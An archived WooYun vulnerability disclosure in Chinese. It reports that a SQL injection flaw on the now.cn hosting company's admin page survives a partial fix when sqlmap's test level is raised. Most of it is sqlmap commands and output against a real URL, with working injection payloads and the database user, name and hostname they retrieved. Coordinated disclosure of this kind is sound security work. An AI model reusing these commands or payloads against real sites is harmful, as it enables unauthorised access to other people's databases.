乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-29: 细节已通知厂商并且等待厂商处理中 2015-10-08: 厂商已经确认,细节仅向厂商公开 2015-10-18: 细节向核心白帽子及相关领域专家公开 2015-10-28: 细节向普通白帽子公开 2015-11-07: 细节向实习白帽子公开 2015-11-22: 细节向公众公开
跟随大牛神器找到的注入点,继续尝试测试,可以绕过过滤继续注入!~~~
WooYun: 时代互联主站SQL注入漏洞 ”ㄚ冷的微笑“找到的注入点,经测试,如果只是level=1,已经没法进行SQL注入了,也就是网站已经修复了那怎么办呢?只需要加强参数--level 3即可。
http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911
不加--level 3测试结果
E:\Sqlmap>sqlmap.py -u "http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911"--threads 10 sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:03:29[14:03:29] [INFO] testing connection to the target URL[14:03:31] [WARNING] unknown web page charset 'none'. Please report by e-mail to [email protected].[14:03:31] [INFO] testing if the target URL is stable. This can take a couple of seconds[14:03:32] [INFO] target URL is stable[14:03:32] [INFO] testing if GET parameter 'IDIPM' is dynamic[14:03:35] [WARNING] GET parameter 'IDIPM' does not appear dynamic[14:03:35] [WARNING] heuristic (basic) test shows that GET parameter 'IDIPM' might not be injectable[14:03:35] [INFO] testing for SQL injection on GET parameter 'IDIPM'[14:03:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:03:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[14:03:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[14:03:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[14:03:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[14:03:44] [INFO] testing 'MySQL inline queries'[14:03:46] [WARNING] reflective value(s) found and filtering out[14:03:46] [INFO] testing 'PostgreSQL inline queries'[14:03:46] [INFO] heuristics detected web page charset 'ascii'[14:03:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'[14:03:47] [INFO] testing 'Oracle inline queries'[14:03:47] [INFO] testing 'SQLite inline queries'[14:03:47] [INFO] testing 'MySQL > 5.0.11 stacked queries'[14:03:47] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)[14:03:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[14:03:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[14:03:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[14:03:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[14:03:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[14:03:53] [INFO] testing 'Oracle AND time-based blind'[14:03:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'[14:04:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'[14:04:02] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'[14:04:10] [WARNING] GET parameter 'IDIPM' is not injectable[14:04:10] [CRITICAL] all tested parameters appear to be not injectable. Try toincrease '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')[14:04:10] [WARNING] HTTP error codes detected during run:404 (Not Found) - 207 times
添加--level 3测试结果
sqlmap.py -u "http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911"--threads 10 --level 3 -p IDIPM --dbms "MySQL" --current-db --current-user --hostname sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:32:31[14:32:31] [INFO] testing connection to the target URL[14:32:31] [WARNING] unknown web page charset 'none'. Please report by e-mail to [email protected].[14:32:32] [INFO] testing if the target URL is stable. This can take a couple of seconds[14:32:33] [INFO] target URL is stable[14:32:33] [WARNING] heuristic (basic) test shows that GET parameter 'IDIPM' might not be injectable[14:32:33] [INFO] testing for SQL injection on GET parameter 'IDIPM'[14:32:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:32:55] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'[14:32:56] [INFO] heuristics detected web page charset 'ascii'[14:32:56] [WARNING] reflective value(s) found and filtering out[14:32:56] [INFO] GET parameter 'IDIPM' seems to be 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable (with --string="\u6ce8\u518c\u57df\u540d")[14:32:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[14:32:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'[14:32:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'[14:32:56] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'[14:32:56] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'[14:32:56] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'[14:32:56] [INFO] GET parameter 'IDIPM' is 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' injectable[14:32:56] [INFO] testing 'MySQL inline queries'[14:32:58] [INFO] testing 'MySQL > 5.0.11 stacked queries'[14:32:58] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)[14:32:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[14:32:59] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace'[14:32:59] [INFO] testing 'MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses'[14:32:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[14:32:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[14:32:59] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'[14:33:00] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'[14:33:00] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'[14:33:01] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'[14:33:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:33:02] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'[14:33:02] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'[14:33:03] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'[14:33:04] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'GET parameter 'IDIPM' is vulnerable. Do you want to keep testing the others (ifany)? [y/N] ysqlmap identified the following injection points with a total of 264 HTTP(s) requests:---Place: GETParameter: IDIPM Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: IDIPM=55911 RLIKE (SELECT (CASE WHEN (4515=4515) THEN 55911 ELSE 0x28 END)) Type: error-based Title: MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) Payload: IDIPM=(EXTRACTVALUE(1662,CONCAT(0x5c,0x7165686871,(SELECT (CASE WHEN (1662=1662) THEN 1 ELSE 0 END)),0x717a6f6d71)))---[14:34:13] [INFO] the back-end DBMS is MySQLweb application technology: Apache, PHP 5.5.18back-end DBMS: MySQL 5.1[14:34:13] [INFO] fetching current user[14:34:13] [INFO] retrieved: [email protected].%current user: '[email protected].%'[14:34:13] [INFO] fetching current database[14:34:13] [INFO] retrieved: db_now_net_cncurrent database: 'db_now_net_cn'[14:34:13] [INFO] fetching server hostname[14:34:14] [INFO] retrieved: mainsite-DBhostname: 'mainsite-DB'[14:34:14] [WARNING] HTTP error codes detected during run:404 (Not Found) - 254 times
后面测试注入不出来,估计还是要进行绕过,就不继续了,交给高手吧!~~
继续过滤修复
危害等级:高
漏洞Rank:10
确认时间:2015-10-08 14:30
谢谢你的支持
暂无